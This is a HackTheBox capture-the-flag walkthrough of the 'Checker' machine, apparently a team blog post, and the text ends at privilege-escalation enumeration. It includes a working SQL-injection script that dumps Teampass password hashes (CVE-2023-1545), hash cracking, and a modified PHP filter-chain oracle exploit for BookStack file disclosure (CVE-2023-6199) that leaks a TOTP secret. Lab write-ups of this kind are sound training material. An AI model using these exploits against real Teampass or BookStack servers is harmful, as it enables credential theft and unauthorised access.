HackTheBox: Checker — Hard (Linux)

Full security assessment walkthrough for Checker on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Checker
HackTheBox
Linux Hard

🔖 Techniques & Vulnerabilities

BookStackTeampassCVE-2023-1545SQLInjectionSQLiHashCrackingJohnTheRipperCVE-2023-6199LocalFileInclusionLFIServerSideRequestForgerySSRFOneTimePasswordOTPReverseEngineeringGhidraSharedMemoryExploitDevelopmentRaceConditionsql injectionrcelocal file inclusionserver-side request forgerysudosuidjwtrace condition

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.57.127
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 07:59 CET
Nmap scan report for 10.129.57.127
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcphttpApache httpd
8080/tcphttpApache httpd
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens
8080/tcpHTTP-Alt
  • All HTTP attacks — often hosts admin panels, APIs, dev instances
  • Apache Tomcat manager — WAR deploy for RCE with weak credentials
  • Jenkins Groovy script console with valid credentials
  • Default credential testing for admin interfaces

📖 Walkthrough

Acknowledgement

For this box our team members Bushidosan and obskur3 carried the team through it completely. So a big shout-out right from the start for their amazing work on this box!

Reconnaissance

Port Scanning

This box started with only port 22/TCP, port 80/TCP and port 8080/TCP open as we figured out after our initial port scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.57.127
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 07:59 CET
Nmap scan report for 10.129.57.127
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

Enumeration of Port 80/TCP

The web server on port 80/TCP redirected us to checker.htb which we added to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ cat  /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.57.127   checker.htb

The website greeted us with a login form to an application called BookStack.

Since we didn't had any credentials yet and since the tech stack didn't showed anything useful, we decided to move on.

┌──(kali㉿kali)-[~]
└─$ whatweb http://checker.htb/
http://checker.htb/ [403 Forbidden] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.129.57.127], Title[403 Forbidden]

Enumeration of Port 8080/TCP

On port 8080/TCP we found another application called Teampass.

It was the same here for the tech stack but we took a closer look at the source of the website and found a subdomain called vault.checker.htb.

┌──(kali㉿kali)-[~]
└─$ whatweb http://checker.htb:8080/
http://checker.htb:8080/ [403 Forbidden] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.129.57.127], Title[403 Forbidden]
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.57.127   checker.htb
10.129.57.127   vault.checker.htb

CVE-2023-1545: SQL Injection (SQLi) in Teampass

Without finding any credentials it was time to do some research and in the process we found some resources about an SQL Injection (SQLi) vulnerability in Teampass also known as CVE-2023-1545.

Proof of Concept (PoC)

Luckily for us there was also a Proof of Concept (PoC) available.

```php
if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

The PoC allowed us to extract two hashes from Teampass. One for the user admin and one for a user called bob.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ ./sqli_poc.sh http://checker.htb:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
Username
admin
bob

Cracking the Hash of bob

We took the hashes and fed them to John the Ripper which cracked the hash for bob.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ cat bob.hash 
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ sudo john bob.hash --wordlist=/usr/share/wordlists/rockyou.txt 
[sudo] password for kali: 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader      (?)     
1g 0:00:00:06 DONE (2025-02-24 11:05) 0.1536g/s 127.1p/s 127.1c/s 127.1C/s caitlin..yamaha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
UsernamePassword
bobcheerleader

Teampass

Login

The credentials worked on Teampass when we modified the time value to something like 9999. We assumed that this defined how long the session would be last as a valid session.

UsernamePasswordValue
bobcheerleader9999

Enumerating Teampass

We started enumerating the application and found the version of Teampass right of the bed on the bottom of the page.

Version
3.0.0.21

We took a closer look into the Password section and found credentials for BookStack and for SSH along with a new username.

UsernamePassword
[email protected]mYSeCr3Tw1kIP4sSw0rD

Of course we checked if the login via SSH as bob would grant us access but - nope - that would have been to easy.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
The authenticity of host '10.129.57.127 (10.129.57.127)' can't be established.
ED25519 key fingerprint is SHA256:u+MO4ts76K9g5kfUQeWpsBr5N+EpHTMxGoQv4K7LFgg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.57.127' (ED25519) to the list of known hosts.
([email protected]) Password:

BookStack

Login

However the newly found credentials worked on BookStack.

UsernamePassword
bobmYSeCr3Tw1kIP4sSw0rD

Enumeration of BookStack

The dashboard showed some recent activity and also had a book called Linux Security available for us to read.

A closer look revealed a safe path on /backup/home_backup.

/backup/home_backup

Multi-Factor Authentication

As next step we moved on what the profile section of bob had us to offer. We found a configuration option for Multi-Factor Authentication which seemed not to be configured so far.

Foothold

CVE-2023-6199: Local File Inclusion (LFI) via Server-Side Request Forgery (SSRF) in BookStack

After facing a dead end in our enumeration of BookStack we went back to searching for known vulnerabilities of the application. <br> Fortunately we stumbled upon CVE-2023-6199 which described a Local File Inclusion (LFI) vulnerability through Server-Side Request Forgery (SSRF) in BookStack.

In order to work we needed to find the token of bob so we first had a look at the documentation and then we grabbed the token form the source of the page.

Token
AsrvZTgvrTWbPnZRRuhit3erQ8m2QlKsK4OftJat

Proof of Concept (PoC)

For this CVE there was also kind of an PoC available but it needed some modification to extract data as Base64 blob.

#!/usr/bin/env python3
import sys
import signal
import argparse
import json
from filters_chain_oracle.core.requestor import Requestor
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.bruteforcer import RequestorBruteforcer

"""
Class FiltersChainOracle, defines all the CLI logic.
- useful info -
This tool is based on the following script : https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
Each step of this trick is detailed in the following blogpost : https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle
"""
class FiltersChainOracle():
    def __init__(self):
        self.requestor = None
        self.bruteforcer = None

    """
    Function managing interuption
    """
    def signal_handler(self, sig, frame):
        print("[*] File leak gracefully stopped.")
        print("[+] File {} was partially leaked".format(self.requestor.file_to_leak))
        print(self.bruteforcer.base64)
        print(self.bruteforcer.data)
        if self.log_file:
                self.log_in_file("# The following data was leaked from {} from the file {}\n{}\n".format(self.requestor.target, self.requestor.file_to_leak, self.bruteforcer.data.decode("utf-8")))
        sys.exit(1)
    
    """
    Function managing log file
    """
    def log_in_file(self, content):
        print("[*] Info logged in : {}".format(self.log_file))
        with open(self.log_file, "a") as file:
            file.write(content)
            file.flush()

    """
    Function managing CLI arguments
    """
    def main(self):
        #signal management
        usage = """
        Oracle error based file leaker based on PHP filters.
        Author of the tool : @_remsio_
        Trick firstly discovered by : @hash_kitten
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0   
        [*] The following URL is targeted : http://127.0.0.1
        [*] The following local file is leaked : /test
        [*] Running POST requests
        [+] File /test leak is finished!
        b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK'
        b"Hello from Synacktiv's blogpost!\\n"
        """
        # Parsing command line arguments
        parser = argparse.ArgumentParser(description=usage, formatter_class=argparse.RawTextHelpFormatter)
        parser.add_argument("--target", help="URL on which you want to run the exploit.", required=True)
        parser.add_argument("--file", help="Path to the file you want to leak.", required=True)
        parser.add_argument("--parameter", help="Parameter to exploit.", required=True)
        parser.add_argument("--data", help="Additionnal data that might be required. (ex : {\"string\":\"value\"})", required=False)
        parser.add_argument("--headers", help="Headers used by the request. (ex : {\"Authorization\":\"Bearer [TOKEN]\"})", required=False)
        parser.add_argument("--verb", help="HTTP verb to use POST(default),GET(~ 135 chars by default),PUT,DELETE", required=False)
        parser.add_argument("--proxy", help="Proxy you would like to use to run the exploit. (ex : http://127.0.0.1:8080)", required=False)
        parser.add_argument("--in_chain", help="Useful to bypass weak strpos configurations, adds the string in the chain. (ex : KEYWORD)", required=False)
        parser.add_argument("--time_based_attack", help="Exploits the oracle as a time base attack, can be improved. (ex : True)", required=False)
        parser.add_argument("--delay", help="Set the delay in second between each request. (ex : 1, 0.1)", required=False)
        parser.add_argument("--json", help="Send data as JSON (--json=1)", required=False)
        parser.add_argument("--match", help="Match a pattern in the response as the oracle (--match='Allowed memory size of')", required=False)
        parser.add_argument("--offset", help="Offset from which a char should be leaked (--offset=100)", required=False, type=int)
        parser.add_argument("--log", help="Path to log file (--log=/tmp/output.log)", required=False)
        args = parser.parse_args()
        # Time based attack management
        if args.time_based_attack:
            time_based_attack=args.time_based_attack
        else:
            time_based_attack=False
        # Delay management
        if args.delay:
            delay = args.delay
        else:
            delay = 0.0
        # Data management
        if args.data:
            try:
                json.loads(args.data)
            except ValueError as err:
                print("[-] data JSON could not be loaded, please make it valid")
                exit()
            data=args.data
        else:
            data="{}"
        # Headers management
        if args.headers:
            try:
                json.loads(args.headers)
            except ValueError as err:
                print("[-] headers JSON could not be loaded, please make it valid")
                exit()
            headers=args.headers
        else:
            headers="{}"
        # Verb management
        if args.verb:
            try:
                verb = Verb[args.verb]
            except KeyError:
                verb = Verb.POST
        else:
            verb = Verb.POST
        if args.in_chain:
            in_chain = args.in_chain
        else:
            in_chain = ""

        # Delay management
        json_input = False
        if args.json:
            json_input = True
        
        # Match pattern
        match = False
        if args.match:
            match = args.match
        
        # Offset from which a char should be leaked

        offset = 0
        if args.offset:
            offset = args.offset
        
        # Log file path
        self.log_file = False
        if args.log:
            self.log_file = args.log
            
        # Attack launcher
        self.requestor = Requestor(args.file, args.target, args.parameter, data, headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
        self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
        signal.signal(signal.SIGINT, self.signal_handler)

        # Auto fallback to time based attack

        self.bruteforcer.bruteforce()

        # Result parsing
        if self.bruteforcer.base64:
            print("[+] File {} leak is finished!".format(self.requestor.file_to_leak))
            print(self.bruteforcer.base64)
            print(self.bruteforcer.data)
            if self.log_file:
                self.log_in_file("# The following data was leaked from {} from the file {}\n{}\n".format(self.requestor.target, self.requestor.file_to_leak, self.bruteforcer.data.decode("utf-8")))
            exit()
        else:
            print("[-] File {} is either empty, or the exploit did not work :(".format(self.requestor.file_to_leak))
            time_based_attack = 1
            print("[*] Auto fallback to time based attack")
            self.requestor = Requestor(args.file, args.target, args.parameter, data, headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
            self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
            self.bruteforcer.bruteforce()
        
        if verb == Verb.GET:
            print("[*] You passed your payload on a GET parameter, the leak might be partial! (~135 chars max by default)")
        
        print(self.bruteforcer.base64)
        print(self.bruteforcer.data)

if __name__ == "__main__":
    filters_chain_oracle = FiltersChainOracle()
    filters_chain_oracle.main()
    sys.exit(0)

Exploit Modification

We cloned the repository from GitHub and moved to /filterschainoracle/core to modify the requestor.py file.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
Cloning into 'php_filter_chains_oracle_exploit'...
remote: Enumerating objects: 178, done.
remote: Counting objects: 100% (178/178), done.
remote: Compressing objects: 100% (95/95), done.
remote: Total 178 (delta 89), reused 150 (delta 62), pack-reused 0 (from 0)
Receiving objects: 100% (178/178), 34.26 KiB | 626.00 KiB/s, done.
Resolving deltas: 100% (89/89), done.
┌──(kali㉿kali)-[/media/…/files/php_filter_chains_oracle_exploit/filters_chain_oracle/core]
└─$ ls -la
total 36
drwxrwx--- 1 root vboxsf    82 Feb 24 11:46 .
drwxrwx--- 1 root vboxsf    18 Feb 24 11:46 ..
-rwxrwx--- 1 root vboxsf 16786 Feb 24 11:46 bruteforcer.py
-rwxrwx--- 1 root vboxsf  6010 Feb 24 11:46 requestor.py
-rwxrwx--- 1 root vboxsf   303 Feb 24 11:46 utils.py
-rwxrwx--- 1 root vboxsf   157 Feb 24 11:46 verb.py

We basically added the base64 decode and encode part to the function reqwithresponse.

<--- CUT FOR BREVITY --->
    def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
        # DEBUG print(filter_chain)
        merged_data = self.parse_parameter(filter_chain)
        # Make the request, the verb and data encoding is defined
<--- CUT FOR BREVITY --->
<--- CUT FOR BREVITY --->
    def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        php_filter = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
        payload = f"<img src='data:image/png;base64,{php_filter}'/>"
        # DEBUG print(php_filter)
        merged_data = self.parse_parameter(payload)
        # Make the request, the verb and data encoding is defined
<--- CUT FOR BREVITY --->

And also added the import for base64.

import json
import requests
import time
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
import re
import base64
<--- CUT FOR BREVITY --->

To end up with the final modified version of requestor.py.

import json
import requests
import time
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
import re
import base64

"""
Class Requestor, defines all the request logic.
"""
class Requestor:
    def __init__(self, file_to_leak, target, parameter, data="{}", headers="{}", verb=Verb.POST, in_chain="", proxy=None, time_based_attack=False, delay=0.0, json_input=False, match=False):
        self.file_to_leak = file_to_leak
        self.target = target
        self.parameter = parameter
        self.headers = headers
        self.verb = verb
        self.json_input = json_input
        self.match = match
        print("[*] The following URL is targeted : {}".format(self.target))
        print("[*] The following local file is leaked : {}".format(self.file_to_leak))
        print("[*] Running {} requests".format(self.verb.name))
        if data != "{}":
            print("[*] Additionnal data used : {}".format(data))
        if headers != "{}":
            print("[*] Additionnal headers used : {}".format(headers))
        if in_chain != "":
            print("[*] The following chain will be in each request : {}".format(in_chain))
            in_chain = "|convert.iconv.{}".format(in_chain)
        if match:
            print("[*] The following pattern will be matched for the oracle : {}".format(match))
        self.in_chain = in_chain
        self.data = json.loads(data)
        self.headers = json.loads(headers)
        self.delay = float(delay)
        if proxy :
            self.proxies = {
                'http': f'{proxy}',
                'https': f'{proxy}',
            }
        else:
            self.proxies = None
        self.instantiate_session()
        if time_based_attack:
            self.time_based_attack = self.error_handling_duration()
            print("[+] Error handling duration : {}".format(self.time_based_attack))
        else:
            self.time_based_attack = False
        
    """
    Instantiates a requests session for optimization
    """
    def instantiate_session(self):
        self.session = requests.Session()
        self.session.headers.update(self.headers)
        self.session.proxies = self.proxies
        self.session.verify = False



    def join(self, *x):
        return '|'.join(x)

    """
    Used to see how much time a 500 error takes to calibrate the timing attack
    """
    def error_handling_duration(self):
        chain = "convert.base64-encode"
        requ = self.req_with_response(chain)
        self.normal_response_time = requ.elapsed.total_seconds()
        self.blow_up_utf32 = 'convert.iconv.L1.UCS-4'
        self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)
        chain_triggering_error = f"convert.base64-encode|{self.blow_up_inf}"
        requ = self.req_with_response(chain_triggering_error)
        return requ.elapsed.total_seconds() - self.normal_response_time

    """
    Used to parse the option parameter sent by the user
    """
    def parse_parameter(self, filter_chain):
        data = {}
        if '[' and ']' in self.parameter: # Parse array elements
            
            main_parameter = [re.search(r'^(.*?)\[', self.parameter).group(1)]
            sub_parameters = re.findall(r'\[(.*?)\]', self.parameter)
            all_params = main_parameter + sub_parameters
            json_object = {}
            temp = json_object
            for i, element in enumerate(all_params):
                if i == len(all_params) -1:
                    temp[element] = filter_chain
                else:
                    temp[element] = {}
                    temp = temp[element]
            data = json_object
        else:
            data[self.parameter] = filter_chain
        return merge_dicts(data, self.data)

    """
    Returns the response of a request defined with all options
    """
    def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        php_filter = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
        payload = f"<img src='data:image/png;base64,{php_filter}'/>"
        # DEBUG print(php_filter)
        merged_data = self.parse_parameter(payload)
        # Make the request, the verb and data encoding is defined
        try:
            if self.verb == Verb.GET:
                requ = self.session.get(self.target, params=merged_data)
                return requ
            elif self.verb == Verb.PUT:
                if self.json_input: 
                    requ = self.session.put(self.target, json=merged_data)
                else:
                    requ = self.session.put(self.target, data=merged_data)
                return requ
            elif self.verb == Verb.DELETE:
                if self.json_input:
                    requ = self.session.delete(self.target, json=merged_data)
                else:
                    requ = self.session.delete(self.target, data=merged_data)
                return requ
            elif self.verb == Verb.POST:
                if self.json_input:
                    requ = self.session.post(self.target, json=merged_data)
                else:
                    requ = self.session.post(self.target, data=merged_data)
                return requ
        except requests.exceptions.ConnectionError :
            print("[-] Could not instantiate a connection")
            exit(1)
        return None

    """
    Used to determine if the answer trigged the error based oracle
    TODO : increase the efficiency of the time based oracle
    """
    def error_oracle(self, s):
        requ = self.req_with_response(s)

        if self.match:
            # DEBUG print("PATT", (self.match in requ.text))
            return self.match in requ.text 

        if self.time_based_attack:
            # DEBUG print("ELAP", requ.elapsed.total_seconds() > ((self.time_based_attack/2)+0.01))
            return requ.elapsed.total_seconds() > ((self.time_based_attack/2)+0.01)
        
        # DEBUG print("CODE", requ.status_code == 500)
        return requ.status_code == 500

Exploitation Preparation

The exploit required a to have a valid session and so we grabbed our JSON Web Token (JWT) form the Web Developer Tools.

eyJpdiI6InlYWHNnWUxHc2JEOTIwV21QTHBpMHc9PSIsInZhbHVlIjoia0htMCs4RXZta3YrRkpLazNhTHR3YXdIZ2M2allETkMwRVFPaXFRQ2t6eTlhOCtBS3ZDbWpXbGduTlZGdU9ROCtObnQrdzl6Wmp5MHhSWnR6WFg3U3FpMjRpeFpYSEJ3YUl4WFQzUW9hV1JHeEFwc1FDU2gvcUNkYW1zbE9sL28iLCJtYWMiOiI5Y2Q0YWQwZTgzNDYyMzBkZjRkYTc4ZTE4OWQzOWViNjUxODhiNWIzMTFjNGIyNTllYmRkNDUxZDNhYTkzYzc5IiwidGFnIjoiIn0%3D

Next we needed to have a draft version of a book. For that we just created a random new book and added a new page but we kept it in editing mode to ensure the draft status.

Payload Execution

From the available book we knew about the safe directory and since we needed a Verification code in order to access the box in using SSH, there was the typical .google_authenticator file we were going to check to see if it existed and if we could extract it, using the LFI through SSRF.

While our new book was still open as draft we put the payload together and waited until the oracle attack had finished to receive the TOTP Secret.

┌──(venv)─(kali㉿kali)-[~/Downloads/php_filter_chains_oracle_exploit]
└─$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/9/save-draft' --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"0jGFTjzJeI7sqw2ePb57XgWuU83BLPLEOLXRFYuR", "Content-Type": "application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6InNCcVc1Rm0vaGNoMWNRYmFsRWVyNUE9PSIsInZhbHVlIjoiYWhZRnhYYm0yV1VTMllrQzhRLzBpell3RFNOZFUrRDJoWmhyd0hDN1IvOGREN3ZZSjk5bklWUURSVXJmbUNsc2gvMlNOVGIzR0I5Y0syOHBtQ1FsUEY3UG11U0Z4WGZHNU03ZnFhdlRxT2VvN3RZV3kwcVh2L2wvdE5BNG1vcGkiLCJtYWMiOiJkMjQzM2VjMDQ2ZjRhMmQ5YmQ1MjE2OGUwOWY2ODUzNjQ1NTUwN2IzZTBlMGIwMWIzZTNhZjBjODhlNWM5OTZjIiwidGFnIjoiIn0%3D"}'
[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"0jGFTjzJeI7sqw2ePb57XgWuU83BLPLEOLXRFYuR", "Content-Type": "application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6InNCcVc1Rm0vaGNoMWNRYmFsRWVyNUE9PSIsInZhbHVlIjoiYWhZRnhYYm0yV1VTMllrQzhRLzBpell3RFNOZFUrRDJoWmhyd0hDN1IvOGREN3ZZSjk5bklWUURSVXJmbUNsc2gvMlNOVGIzR0I5Y0syOHBtQ1FsUEY3UG11U0Z4WGZHNU03ZnFhdlRxT2VvN3RZV3kwcVh2L2wvdE5BNG1vcGkiLCJtYWMiOiJkMjQzM2VjMDQ2ZjRhMmQ5YmQ1MjE2OGUwOWY2ODUzNjQ1NTUwN2IzZTBlMGIwMWIzZTNhZjBjODhlNWM5OTZjIiwidGFnIjoiIn0%3D"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
TOTP Secret
DVDBRAODLCWF7I2ONA4K5LQLUE

Generating OTP

Now with the the TOTP Secret in our pockets we moved to a website which provided the option to configure TOTP using the Secret.

And now we were able to login as reader using the password and the Verification code from the website.

UsernamePassword
readerhiccup-publicly-genesis
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
([email protected]) Password: 
([email protected]) Verification code: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
/usr/bin/ip_tools.sh failed: exit code 2
reader@checker:~$

user.txt

Having access via SSH as reader enabled us to grab the user.txt.

reader@checker:~$ cat user.txt 
2eb1964a6237aa7e67ec4718529de2fe

Enumeration

After submitting the user flag we moved on with some basic enumeration. As usual we checked the group memberships, the home directory, the /etc/passwd for additional users on the system and of course sudo capabilities.

reader@checker:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)
reader@checker:~$ ls -la
total 36
drwxr-x--- 4 reader reader 4096 Feb  6 04:22 .
drwxr-xr-x 3 root   root   4096 Jun 12  2024 ..
lrwxrwxrwx 1 root   root      9 Feb  6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan  6  2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15  2024 .cache
-r-------- 1 reader reader   39 Jun 14  2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15  2024 .local
-rw-r--r-- 1 reader reader  807 Jan  6  2022 .profile
-rw-r----- 1 root   reader   33 Feb 24 06:52 user.txt
reader@checker:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

While checking what options we had using sudo we saw that we could execute check-leak.sh within /opt/hash-checker/ using sudo.

reader@checker:~$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

A quick test showed that we needed to provide a username.

reader@checker:~$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
